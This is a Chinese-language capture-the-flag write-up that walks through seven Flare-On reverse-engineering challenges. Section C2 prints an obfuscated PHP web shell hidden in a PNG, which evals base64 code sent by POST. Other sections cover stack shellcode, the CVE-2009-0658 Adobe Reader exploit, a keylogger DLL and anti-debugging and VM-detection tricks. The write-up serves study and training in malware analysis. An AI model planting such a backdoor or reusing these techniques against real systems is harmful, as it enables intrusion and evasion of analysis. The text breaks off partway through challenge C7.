Flare-on Challenge分析报告
Flare-on Challenge分析报告
地址:http://flare-on.com
C1
C1是一个.NET程序,界面上只有一个DECODE!按钮,摁下按钮后,图片发生变化。由此我们可以分析解题的关键在这个button上。
通过Reflector来反汇编该.NET程序,我么可以看到按钮的事件处理代码如下所示
而Resources中的dat_secret就是我们所要就行解码的数据,在Reflector中查看资源文件可以得到数据如下:
由此重新编写一个解码程序即可得到flag,注意解码的代码中一共进行了三次解码,而第一次解码后的数据才是我们需要的flag。
这一道题比较基础,考查的主要是.net程序的反汇编。
C2
C2给出的是一个网页和一个图片,通过比较该网页和原网页,我们发现网页被篡改的地方主要有三个地方:
- Overview里的一段话。
- 一段JS实现的计时器
- 一段php代码
我们知道这个图片就是网页的logo,我们将原网页上的logo下下来进行比对,发现这个文件的大小不一样。
通过比对这两个文件,我们发现flare-on.png文件的末尾追加了一段php代码
<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);$do_me="";for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]];}eval($do_me); ?> |
在codepad上提交这段代码,在输出结果中只有Warning,而没有任何数据。
|
通过进一步分析,在eval($do_me)这段代码之前,先将$do_me输出,添加echo $do_me,重新提交。结果如下:
eval($do_me)执行的就是这段代码,而报错的地方时这些字符串都使用了\’的格式,我们只需要将\’替换成“即可,重新提交如下代码:
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9"; $__="JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7"; $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; eval($___($__)); ?> |
发现依旧没有结果
这时进一步分析$___这个变量,我们发现他的ASCII码显示的结果是base64_decode,直接将$___($__)中的$___替换成base64_decode进行解码,得到如下结果:
我们进一步对$_解码,得到如下结果:
if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } |
此时直接将上述字符串转成ASCII码显示,得到如下数据
a11DOTthatDOTjava5scrapATflare-onDOTcom |
由此可以得到flag
a11.that.java5scrap@flare-on.com |
这一题主要考查的是php中的base64编码,也属于基础类的题型。
C3
C3这道题是windows下的self-modify程序,直接运行改程序会出现如下情况:
用OD加载进行调试分析,发现程序在main函数中调用0x00401000处的函数,而0x00401000处的大部分都是再进行mov操作,并且都是对栈上的数据进行操作,函数的最后调用call eax,指向栈上的数据进行执行,然后回到main函数中结束程序,如下图所示:
由上述分析可知,这个程序是一个self-modify的程序,而call eax后,eip转到栈上进行执行,我们进一步跟进,发现程序又进行了多次自修改,最终来到了如下图所示的地方:
0018FED2 31D2 xor edx,edx 0018FED4 B2 30 mov dl,0x30 0018FED6 64:8B12 mov edx,dword ptr fs:[edx] ; peb 0018FED9 8B52 0C mov edx,dword ptr ds:[edx+0xC] 0018FEDC 8B52 1C mov edx,dword ptr ds:[edx+0x1C] 0018FEDF 8B42 08 mov eax,dword ptr ds:[edx+0x8] 0018FEE2 8B72 20 mov esi,dword ptr ds:[edx+0x20] 0018FEE5 8B12 mov edx,dword ptr ds:[edx] 0018FEE7 807E 0C 33 cmp byte ptr ds:[esi+0xC],0x33 ; 查找kernel32.dll 0018FEEB ^ 75 F2 jnz short 0018FEDF 0018FEED 89C7 mov edi,eax 0018FEEF 0378 3C add edi,dword ptr ds:[eax+0x3C] 0018FEF2 8B57 78 mov edx,dword ptr ds:[edi+0x78] 0018FEF5 01C2 add edx,eax 0018FEF7 8B7A 20 mov edi,dword ptr ds:[edx+0x20] 0018FEFA 01C7 add edi,eax 0018FEFC 31ED xor ebp,ebp 0018FEFE 8B34AF mov esi,dword ptr ds:[edi+ebp*4] 0018FF01 01C6 add esi,eax 0018FF03 45 inc ebp 0018FF04 813E 46617461 cmp dword ptr ds:[esi],0x61746146 0018FF0A ^ 75 F2 jnz short 0018FEFE 0018FF0C 817E 08 4578697>cmp dword ptr ds:[esi+0x8],0x74697845 0018FF13 ^ 75 E9 jnz short 0018FEFE ; 查找FatalAppExitA函数 0018FF15 8B7A 24 mov edi,dword ptr ds:[edx+0x24] 0018FF18 01C7 add edi,eax 0018FF1A 66:8B2C6F mov bp,word ptr ds:[edi+ebp*2] 0018FF1E 8B7A 1C mov edi,dword ptr ds:[edx+0x1C] 0018FF21 01C7 add edi,eax 0018FF23 8B7CAF FC mov edi,dword ptr ds:[edi+ebp*4-0x4] 0018FF27 01C7 add edi,eax 0018FF29 68 79746501 push 0x1657479 0018FF2E 68 6B656E42 push 0x426E656B 0018FF33 68 2042726F push 0x6F724220 0018FF38 89E1 mov ecx,esp 0018FF3A FE49 0B dec byte ptr ds:[ecx+0xB] 0018FF3D 31C0 xor eax,eax 0018FF3F 51 push ecx 0018FF40 50 push eax 0018FF41 FFD7 call edi ; 调用FatalAppExitA函数,程序退出
|
通过以上分析,我们发现程序的处理逻辑上,并没有其他的跳转地点,一直是线性的往下走的,而在call eax之后,程序一直在栈上就行操作和执行,而在进入该函数到call edi,即调用FatalAppExitA函数,这段代码之间对栈上的数据操作很多,我们进一步分析栈的内存,可以发现如下图所示内容。
由此,可以看见,我们所要找的flag就隐藏在其中,哈哈~~~
C4
C4这道题是关于PDF文件分析的,它主要是利用了CVE-2009-0658这个漏洞,关于PDF文件格式可以查看:
也可以查看官方的PDF Reference。而关于CVE-2009-0658这个漏洞可以查看:
- http://www.secureworks.com/resources/blog/research/research-20947/
- http://secunia.com/gfx/pdf/SA33901_BA.pdf/
- Metasploit下的adobe_jbig2decode.rb模块
下面对上述两个部分内容进行简要的介绍。
首先是PDF文件格式
接着,我们来简单分析下CVE-2009-0658这个漏洞。该漏洞主要是Adobe Reader在对JBIG2编码进行解码时,碰到不符合规则的数据,解码时会造成Sement number的数组越界访问。
PDF中的JBIG2Decode主要是处理JBIG2编码的stream,而一个JBIG2编码的stream它可以包含任意多个JBIG2 segments,每个segment的结构如下:
Segment number |
Segment header flags (低6位为segment类型) |
Segment size |
Segment page association |
4 bytes |
1 byte |
Variable size |
1 or 4 bytes |
其中segment page association用来说明和当前segment相关的JBIG2 page,它默认情况下占一个字节,也可以由segment header flags中的第6位来指定为4字节。具体的漏洞分析可以参考http://secunia.com/gfx/pdf/SA33901_BA.pdf/。
我们利用PDF Stream Dumper对PDF中的JBIG2Decode下的stream
依次进行FlateDecode解码、ASCIIHexDecode解码,从而获得JIBIG2编码后的数据:
00 20 50 FF 40 00 00 69 00 00 05 69 50 50 |
下面配置好环境,运行C4程序,弹出如下对话框。
按下确定之后,产生一个Crash,如下图所示:
查看栈回溯,信息如下:
而由adobe_jbig2decode.rb中,我们可以知道shellcode的地址为0x05695050。同时,由其他两个分析报告,我们知道处理stream进行JBIG2解码的模块为sub_9AD380,其相对地址为+0x6AD380。由此,我们可知,程序最后是在运行shellcode时,关闭弹出的对话框后,没有走入到正常的轨迹而产生了崩溃。而由前面的题型,我们可以推测flag信息应该和弹出对话框的信息有关。
因此,我们在偏移+0x6AD380处和地址0x05695050处分别下断点,得到如下结果:
可以发现,我们断在了shellcode之前的nops上,通过搜索内存的方式,我们可以得到shellcode的具体地址是0x056efbf8(改地址不固定,每次都会变化),由此我们可以下断点进一步跟进shellcode,如下所示:
前面我们知道,shellcode最后的执行结果是弹出一个对话框,而构造过程一般都要经过以下几个步骤:
- 通过GetProcAddress获得LoadLibraryA地址
- 通过LoadLibraryA加载user32.dll
- 通过GetProcAddress获得MessageBoxA地址
- 传入参数,调用MessageBoxA。
而获得flag的关键就在于MessageBoxA参数的处理上,通过分析shellcode,我们发现在第三步和第四步直接多了一个call调用,如下图所示:
通过跟踪代码,查看堆栈,终于找到了我们所需要的flag。
这一题考查的主要是一些分析的基本能力。
C5
C5这一道题很是新颖,非常非常有意思,它给出的是一个dll文件,我们用OD加载这个dll然后运行,发现什么反应。但在相应的目录下生成了一个svchost.log文件,如下图所示。
打开这个文件,我们发现里面还有些内容,并且记录的是我们之前随意摁下的键,如下图所示。
由此,我们可以推出这个dll是一个键盘记录工具,那这个和我们所要找的flag有什么关联呢?我们通过IDA来进一步分析这个dll。
首先,我们分析DllMain函数,发现其中的sub_1000A4C0函数中有一个无限循环,可以推测这个函数和键盘记录器有很大的联系,因为键盘记录器也要无限等待键盘的响应来记录下相应的按键。
我们进一步分析sub_10009EB0和sub_10001000这两个函数,发现sub_10001000这个函数只是将记录下的按键输入到“scvhost.log”文件中,关系并不大。
我们进一步分析sub_10009EB0这个函数,发现这是将按键转换成ASCII码的过程,从而进一步传到sub_10001000函数,记录到文件中。
通过进一步观察,我们发现,对于每个按键,该函数中都会有相应的函数进行相应的处理,如下图所示。
这和传统的键盘记录器有点不太一样,一般的键盘记录器,会直接转换成可示的ASCII码记录到文件中,只有对一些特殊的按键才会进行转化。而在这些处理函数中,大部分的处理过程都如下图所示。
而其中有些处理过程较为复杂,如下图所示。
其中一个在对字符‘M’进行处理的函数与其他所有的都不相同,如下图所示
我们发现其中调用了DialogBoxIndirectParamW函数来弹出一个对话框,此时,再次用OD加载该dll,在处理’M’字符处的函数中下断,如下图所示。
此时按下m键,修改zf使其跳转到接下来的地址,可以看到其弹出了一个如下对话框。
那么,我们进一步思考,这个跳转的判断条件是dword_100194FC的值大于0,那么该处的值又是由谁来修改的呢?我们继续回到IDA中,查看此处的交叉引用,如下图所示。
我们发现一共有三处将调用的该值,其中在__cfltcvt_init函数和sub_10009B60函数中分别将值改为了0和1,而‘M’判断处只是读取了该值,我们进一步分析这两个函数。可以发现__cfltcvt_init函数的处理是一个初始化的过程,它将除了dword_10017000地址处的值置为1外,其余相关地址都置为0,如下图所示。
而sub_10009B60函数中,又进一步判断其他地址,来决定是否将dword_100194FC处的值置为1,如下图所示。
由此,我们可以推测,当按下一定的按键组合时,会弹出对话框,而这按键组合就是我们所需要的flag信息。
下面是最后的结果图
这一题确实非常的有意思,形式很新颖,考查的方式也很独特,让人眼前一亮,FireEye的大牛思维方式确实很诡异。。。
C6
这道题让我颇费周折,它是Linux x64下的题,而且文件有点大,使用的静态编译,干扰信息很多,之前没有做过相关方面的东西,基本上是从头开始学,花费了一段时间……
在分析这道题之前,我们先了解一下Linux x64方面的基本知识,具体一点来说是main函数启动过程和x64下的函数调用规则方面的内容。也可以参考一下资料:
- Main函数启动过程
http://www.360doc.com/content/14/0211/16/15515903_351654286.shtml
- Linux X64下函数调用规则
http://blog.sina.com.cn/s/blog_6f6769b50100uhzz.html
首先,我们来了解一下Linux x64下的调用规则。
一般情况下,在函数参数少于7时,参数从左到右分别放入寄存器,rdi,rsi,rdx,rcx,r8,r9。而当参数多于或等于7时,前6个参数的传入方式和前面一样,但后面的依次从右向左放入栈中。例如:
l 参数个数少于7个:
F (a, b, c, d, e, f); |
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 |
l 参数个数多于或等于7个:
F (a, b, c, d, e, f, g); |
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9, g->(%rsp) |
接着,我们来了解一下main函数的启动过程,elf文件的入口地址,一般都是指向_start函数,在_start函数里调用__libc_start_main,其函数定义如下图所示,其中argc和ubp_av为传递给main函数的参数argc和argv。
STATIC int LIBC_START_MAIN(int (*main)(int, char **, char ** MAIN_AUXVEC_DECL), int argc, char *__unbounded *__unbounded ubp_av, #ifdef LIBC_STAT_MAIN_AUXVEC_ARG EIfW(auxv_t) *__unbounded auxvec, #endif __typedof(main) init, void (*fini) (void), void (*rtld_fini)(void), void *__unbounded stack_end) __attribute__((noreturn)); |
知道了这些基本信息,我们可以来进一步分析这个程序了。
首先,我们先定位main函数的位置,在start处的信息如下图所示。
由上面的介绍可以知道,main函数的位置在0x45DCE1处,argc保存在rsi,argv保存在rdx中。我们跳转到main函数,进一步分析,如下图所示。
在main函数里,又进一步调用了sub_452079函数,传递的参数依旧是argc和argv,分别保存在rsi和rdx中。进入该函数,发现这个函数巨大……发现从这个函数开始分析起,难度太大,我们不得不换个思路来去掉无用信息。
接着,我们运行该程序,并且给定不同的参数,输出结果如下。由此,我们可以断定程序是需要参数的,并且不同的参数会有不同的输出结果,而且我们知道argc=1时输出‘no’,argc=2时输出‘na’,argc=3时输出‘bad’,argc>3时输出‘stahp’。有了这些结果就好进一步处理,我们可以跟着输出信息来进一步分析。
用IDA加载程序,试着找找这几个字符串的踪迹,在以下位置找到了这几个字符串,如下图所示。
在上图中,字符串’no‘和字符串’na’都被sub_452079这个超大的函数所调用,而字符串’stahp’在sub_41C77D函数中被调用,而sub_41C77D函数又被sub_452079这个超大函数调用,如下图所示。
而字符串’bad’被sub_435E20函数调用,但sub_435E20同样被sub_452079这个超大函数调用,如下图所示。
我们先来分析no字符串,如下图所示。
这里将[rbp+var_A84]处的值与1进行比较,如果相等则输出’no‘,然后退出程序,如果不等的话则会跳转到loc_4535CA。由此我们可以推测rbp+var_A84处保存的是argc,我们进一步跟踪rbp+var_A84,发现在该函数的开始出,将edi保存到了rbp+var_A84处,将rsi保存到了rbp+var_A90处,这样我们可以知道,其实rbp+var_A84处保存的是argc,rbp+var_A90处保存的是argv,如下图所示。
由此我们可以确认该程序肯定是需要输入参数的,并且我们可以确定sub_45EBE0是用来输出的,在这之后会调用sub_45E790这个函数来退出程序。我们来查看下sub_45EBE0的交叉引用,来看看还有什么函数在什么位置调用了这个输出函数,如下图所示。
我们知道之前一共只输入了4个字符串,其中‘bad’字符串在两个地方被引用了,那么也即调用了5次,那么最后一个输出又是输出什么的呢?而且最后一个输出同字符串’stahp’一样都是位于sub_41C77D中。先来看看它具体输出的是什么内容,如下图所示。
该字符串是’ Program received signal SIGSEGV, Segmentation fault’,这个Segmentation fault错误在Linux下比较常见,有可能只是程序发生异常时显示的错误信息,也可能是我们的方向错了。我们还是来进一步来分析’na’,如下图所示。
这里同上面一样,也是比较参数的个数,如果argc=2的话,则输出‘na’,否则跳转到loc_456CE2中,由此我们可以确定输入一个参数也是不对的。
我们继续分析字符串’stahp’,在调用sub_41C77D时,传入的还是argc和argv两个参数,如下图所示。
在sub_41C77D函数的开始,会将这两个参数保存到rbp+var_360和rbp+var_354中,如下图所示。
然后将argc与3进行比较,判断参数个数是否大于3个,如果大于3个则输出‘stahp’,否则跳转到loc_41E25C中进行相应处理,如下图所示。由此,我们可以猜测所需输入的参数为2个,当然这还需要我们进一步进行分析才能证实我们的猜测。
最后,我们看看程序是如何处理’bad’字符串的,程序中一个有两个地方输出‘bad’字符串,都在sub_435E20中,我们分别来看看这两处是怎么处理的。调用sub_435E20时,传入的参数仍然是argc和argv,如下图所示。
在函数里,将argc和argv分别保存在rbp+var_3B4和rbp+var_3C0中,如下图所示。
我们先来看看在sub_435E20+12EC处的’bad’字符串是如何处理的,如下图所示。
处理的流程和前面没什么区别,但这判断的条件和前面很不一样,多了很多的其余操作,这里它先去argv[1],然后利用repne scasb来计算argv[1]字符串的长度,如果这个长度等于0xA时,则会跳转到loc_437120位置,否则输出‘bad’字符串,由此我们可以确认第一个参数的长度为10。我们再来看看在sub_435E20+0x13BE处的‘bad’字符串是如何处理的,如下图所示。
这里处理也和前面不太一样,不过这里有一个字符串‘bngcg`debd’,然后紧接着调用其他的函数进行相关处理,而且传入的参数分别是两个字符串的自己和字符串的长度0xA,我们来进一步看看rbp+var_230中存的到底是什么内容,在该函数中,找到对rbp+var_230内存进行处理的位置,如下图所示。
在这里,它首先将rbp+var_3C0的内容(即argv的地址)保存到rax中,然后取出其第一个参数argv[1]的地址,并将其赋值给rdi,然后调用sub_468BB0函数对argv[1]的内容进行处理,并将字符串处理后的地址保存在rbp+var_230中。因此,rbp+var_230中保存的是对argv[1]处理后的字符串地址。在这里,我们可以猜测是第二处‘bad’字符串的处理流程,是将argv[1]的数据进行编码,然后同‘bngcg`debd‘进行比较,如果两个字符串相等,则跳转到loc_4371F2进行下一步处理,否则的话输出’bad‘,结束程序。由此,可以看出,我们要输入两个参数,并且第一个参数的长度是10。
分析到这儿,我们来运行下程序看看是否符合我们的思路。
我们首先在call sub_400370和jz short loc_4371处下断点,然后运行程序,但并没有得到我们想要的结果,不过程序输出了’ Program received signal SIGSEGV, Segmentation fault’,如下图所示。这一点对于我们来说,很有用,因为我们知道这段话是在哪儿进行处理的。
我们重新回到’ Program received signal SIGSEGV, Segmentation fault’输出处理过程,进行进一步分析,如下图所示。
在输出’ Program received signal SIGSEGV, Segmentation fault’之前,程序会调用sub_4742B0函数进行相关处理,然后判断返回结果的最高位是否为1,如果不为1则跳转到loc_41F232进行处理,否则输出’ Program received signal SIGSEGV, Segmentation fault’。我们进一步分析sub_4742B0,发现在该函数中会调用系统调用号为0x65的函数,如下图所示。
而在unistd_64.h文件中,0x65对应的系统调用时ptrace,如下图所示。
由此,我们可以知道该程序使用了ptrace来进行反调试,这样我们修改ZF=1,使其跳转到loc_41F232中,进一步运行。此时程序正常运行,停在了call sub_400370处,如下图所示。
这时,我们查看下rdi所指向的字符串是什么,如下图所示。
这时的字符串已经经过处理,重新回到sub_468BB0函数,在这个函数的下一条指令下断点,即0x437136处,看看这个函数的处理结果是什么,重新运行程序。查看rax指向地址中的数据,如下图所示。
我们发现这时数据并没有变化,sub_468BB0函数的作用主要是申请一段内存空间,并将argv[1]中的数据拷贝过去,方便进一步处理。因此,我们把注意力放到sub_468BB0到字符串‘bngcg`debd’处理这一块上,主要代码如下图所示。
通过分析,我们发现,该算法主要是将argv[1]字符串中的每一位与0x56进行异或运算,最后跳转到如下图所示地方,将新的字符串与‘bngcg`debd’进行比较,判断两个字符串是否相等。
由此,我们可以得出argv[1]的值为’4815162342‘,重新运行程序后,发现程序处理睡眠状态一直没有响应……如下图所示。
进一步进行分析,在调用完sub_435E20后,程序又进一步调用sub_442A8F,在下一条指令处下断点,如下图所示。运行程序后,我们发现程序依旧处于睡眠状态,由此我们可以推测问题出在sub_442A8F中。
通过反复调试,我们发现问题出现在函数sub_442A8F中的0x4436FB处,它进一步调用了sub_473B70函数,如下图所示。
而在sub_473B70中,它又进一步调用了sub_473D40函数,如下图所示。
而在这个函数中,它又进一步调用了系统调用号为0x23的函数,而0x23为nanosleep函数,可以看见,问题就出在这里,那么怎么解决了?
我们在sub_473B70函数中的0x473BDE中下断点,直接跳过nanosleep的系统调用。
继续运行程序,程序停在0x45AB56处。我们发现,到目前为止,程序只用到了argv[1],而对argv[2]并没有使用,此时我们队argv[2]下硬件断点,运行程序。此时触发硬件断点,RIP停留在栈空间上,如下图所示。
哈哈,终于找到了shellcode~~~,此时我们只要照着shellcode解码即可得到所要找的flag。
C7
跌跌碰碰到了最后一题……这最后一题不得不吐槽下……太坑了啊!!!里面用到一些反调试的技术大部分都和操作系统版本有关系……不同版本它返回结果不一样啊!!!害我纠结了半天。。。
关于反调试相关的可以参考:
l http://www.cnblogs.com/huhu0013/archive/2011/07/05/2098358.html
直接运行程序,出现以下错误。
用IDA加载程序,再运行,出现以下错误。错误中显示,程序在0x1301B90位置处的代码处访问了地址为0x00000000内存,而这段内存默认情况下是不可访问的。
我们进一步分析0x1301B90处的代码,发现此处通过调用byte ptr [ecx],来访问数据,而ecx的值来自[esi+4],我们进一步跟踪,发现esi是来自[ebp+0ch],如下图所示。自此我们可以发现esi指向的是argv参数,而通过上图我们发现,其需要两个参数,并且这两个参数只用到了前两个字节。
知道了这些后,我们命令行下打开该程序,输入参数,重新运行程序,发现出现如下图所示的结果。
我们发现该程序中运行了一个名叫gratz.exe的程序,并且该gratz.exe文件在用户目录下创建,而这一道题也是最后一道题,由此,我们可以猜测,最后的flag可能会在这个gratz.exe文件中,可能最后会弹出一个对话框来显示一些祝贺信息。另一方面,gratz也是congratulations的简写,因此这个gratz.exe很有可能隐藏了所要的秘密。解题的关键也是在于生成一个可执行的gratz.exe文件上。
通过IDA分析该程序,发现程序开始的时候,使用了很多的反调试技术,如下图所示。
第一个是通过调用Windows API IsDebuggerPresent来判断程序当前是否处于调试状态,如下图所示
第二个主要通过PEB中的BeingDebugged标志位来判断是否处于调试状态,在用户态下,fs寄存器指向TEB的结构,而在TEB结构的0x30偏移处是PEB结构,PEB结构的0x2偏移处是,如下图所示
第三个是用来检测虚拟机的,它的原理是检测IDT的值,如果这个值超过了某个数值,就可以认为应用程序处于虚拟环境中。但这种方法在多核情况下,结果并不可靠。而这该程序中,它判断最高位是否为0xFF,用来检测是否处于vmware虚拟机状态下,如下图所示。
第四个也是针对VMWare虚拟机的反调试。在VMWare中,它提供了一种主机和客户机之间的通信方法,这可以被用来做一种VMWare的反调试。VMWare将会处理IN(端口为0x5658/’VX’)指令,它将返回一个magic数值为“VMXh到”EBX中。而当程序在保护模式操作系统的3环下运行时,IN指令的执行将会产生一个异常,而在VMWare下运行则不会产生任何异常,同时EBX寄存器将会保护‘VMXh’,ECX寄存器也会被修改为VMWare的产品ID。程序中具体处理过程如下图所示。
第五个是通过OutputDebugString来实现反调试的,在有调试器的状态下,调用OutputDebugString后,会影响GetLastError接收到的Error值,但这种反调试的机制也有一定的限制,它在xp下可以有效的运行,而在win7、win8下并不能够实现反调试。在程序中,它首先设置LastError的值,然后调用OutputDebugString改变LastError的值,最后再进行比对,具体处理流程如下图所示。
第六个是通过CC校验(即int 3断点),来实现反调试的功能。它主要计算部分代码区域中的CC的个数,与之前记录的个数进行比较,如果一样,可以继续执行,而如果在这段代码区域中下了int3断点,则会导致计算结果的不一致,从而产生反调试。处理流程如下图所示。值得注意的是,实际上该段代码区域中int3的个数是0x65,而程序中是与0x57比较,这里到底要不要修改呢?我们接下来再进一步分析。
第七个反调试是通过NtGlobalFlags来实现的,这个NtGlobalFlags也位于PEB中,它在PEB偏移0x68的位置,默认情况下该值为0,而在调试状态下,它会被设置为一个特定的值。这个标志由下面几个标志组成:
l _HEAP_ENABLE_TAIL_CHECK (0x10)
l _HEAP_ENABLE_FREE_CHECK (0x20)
l _HEAP_VALIDATE_PARAMETERS (0x40)
但在程序中,它的处理方式有些问题(也有可能是跟操作系统版本有关),如下图所示。程序中,它直接取了该处的DWORD值与0x70比较来判断是否处于调试状态。我们知道处于调试状态下,它改变的是NtGlobalFlags的最低位一个字节,而其它位调试状态下也是有可能有其他属性标志的,因此,这里最好先and 0x70,然后再进行判断,这样会更准确一点。
程序中用到的反调试技术主要就是这些,下面我们来分析下gratz.exe文件是如何生成和运行的。
首先,它会以”wb”的方式fopen一个名为gratz.exe文件,如下图所示。[ebp-10h]处指向的就是gratz.exe字符串。
接着,它会像该文件中写入文件,并且关闭,如下图所示。
由此,我们可以知道,数据在这个gratz_data处,大小为dword_132FFF8即(0x1CE00)。
接着调用sub_1301D46函数来运行该文件,如下图所示。
知道了这些,我们来进一步分析这个gratz_data是如何生成的。
首先,在第一个反调试点,它判断后,会走不同的分支,对原始数据进行异或处理,如下图所示。
接着来到第二个点,它会调用sub_1301000进行与上述过程相同的处理,如下图所示。
通过分析,我们发现,这些反调试点的处理步骤都是一样的,我们继续分析反调试点之后的函数。如下图所示。
首先在,0x1301B36处,它调用了sub_1301460处的函数,即CheckWeek,在这个函数里,它取了当前时间的星期,并与周五比较,如下图所示。进一步的处理过程同上一样,不再分析。
接下来是调用了backdoge函数,在这之前,它将[esi]赋值个eax,也即像函数中传入了argv[0],而argv[0]指向的都是当前程序的全路径,进入函数我们看到argv[0]与“backdoge.exe”进行了比较,然后进行同上类似的处理,如下图所示。
而在another_thread1函数中的处理过程,处理方式也类似,不再分析。
接下来调用了CheckHour,这里它同CheckWeek一样都是时间检查的,只不过这里检查的是当前的小时,如下图所示。
在这之后,程序调用了argv[0]进行异或操作,我们都知道对于argv[0]来说,如果文件放在不同的位置,argv[0]的路径名也是不一样的,而这样对异或操作的结果也是不一样的,而在这之前,我们调用了backdoge函数,来校验argv[0]是否是backdoge.exe,由此,我们可以推测,可能该处的值应该为backdoge,因此,我们在调用backdoge之前,修改argv[0]的值为backdoge.exe,进一步分析。
下面来到0x1301B83处,我们进一步分析程序,如下图所示。
此时,会调用anther_thread2,同another_thread1一样,对程序逻辑没什么影响,不再详述。我们继续分析OpenUrl,在函数的开始,它首先会调用InternetOpenW进行初始化,如下图所示。
接着,会调用InternetOpenUrlW来打开一个链接,如下图所示。
链接的地址是https://twitter.com/FireEye/status/484033515538116608,如下图所示。
在打开链接后它会从网页中,检索字符串“Secluded Hi”,然后用该字符串后的7个字节与gratz_data前一个字节开始的位置处,进行异或运算,如下图所示。
